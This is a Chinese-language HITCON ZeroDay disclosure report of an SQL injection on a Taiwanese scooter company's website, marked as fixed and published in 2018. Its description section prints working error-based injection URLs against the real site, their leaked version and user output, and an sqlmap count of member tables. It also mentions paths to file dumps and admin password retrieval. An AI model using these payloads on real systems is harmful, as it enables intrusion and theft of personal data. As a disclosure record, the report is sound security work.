Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-01483
- Vendor: 宏佳騰動力科技股份有限公司
- Title: 宏佳騰機車 SQL Injection Vulnerability
- Introduction: SQL Injection Vulnerability
處理狀態
目前狀態
公開
Last Update : 2018/11/23
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2018/09/29 17:15:10 : 新提交 (由 Hzllaga 更新此狀態)
- 2018/09/29 22:44:02 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/09/30 22:44:39 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/09/30 22:44:39 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/09/30 22:44:39 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/11/19 19:00:25 : 複測申請中 (由 組織帳號 更新此狀態)
- 2018/11/19 19:26:41 : 確認已修補 (由 Hzllaga 更新此狀態)
- 2018/11/23 03:00:22 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-01483
- 通報者:haihai (Hzllaga)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://www.aeonmotor.com.tw/show_area.php?kind=
https://www.aeonmotor.com.tw/get_shoptest.php?kind=
https://www.aeonmotor.com.tw/get_shoptest.php?kind=
敘述
習慣性訪問鏈接會加上單引號,這兩個鏈接都直接爆錯了,SQL Command也都print出來了,就直接上payload了
https://www.aeonmotor.com.tw/show_area.php?kind=1%27and(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x7e,version(),0x7e)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%20%271%27=%271
https://www.aeonmotor.com.tw/get_shoptest.php?kind=%27and(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x7e,user(),0x7e)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%20%271%27=%271
Duplicate entry '~5.1.55-community~1' for key 'group_key'
Duplicate entry '~root@localhost~1' for key 'group_key'
上sqlmap計數一下:
Database: aeon
+---------------------+---------+
| Table | Entries |
+---------------------+---------+
| tb_member | 11602 |
| tb_events_reg | 2045 |
| tb_news | 593 |
| tb_act_3y_log | 435 |
| tb_events | 375 |
| tb_shoparea | 361 |
| auth_permission | 348 |
| tb_shop | 200 |
| django_content_type | 116 |
影響1萬會員資料
支持聯合查詢,可以dumpfile,後台目錄/admin/,可以通過漏洞查密碼登入
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。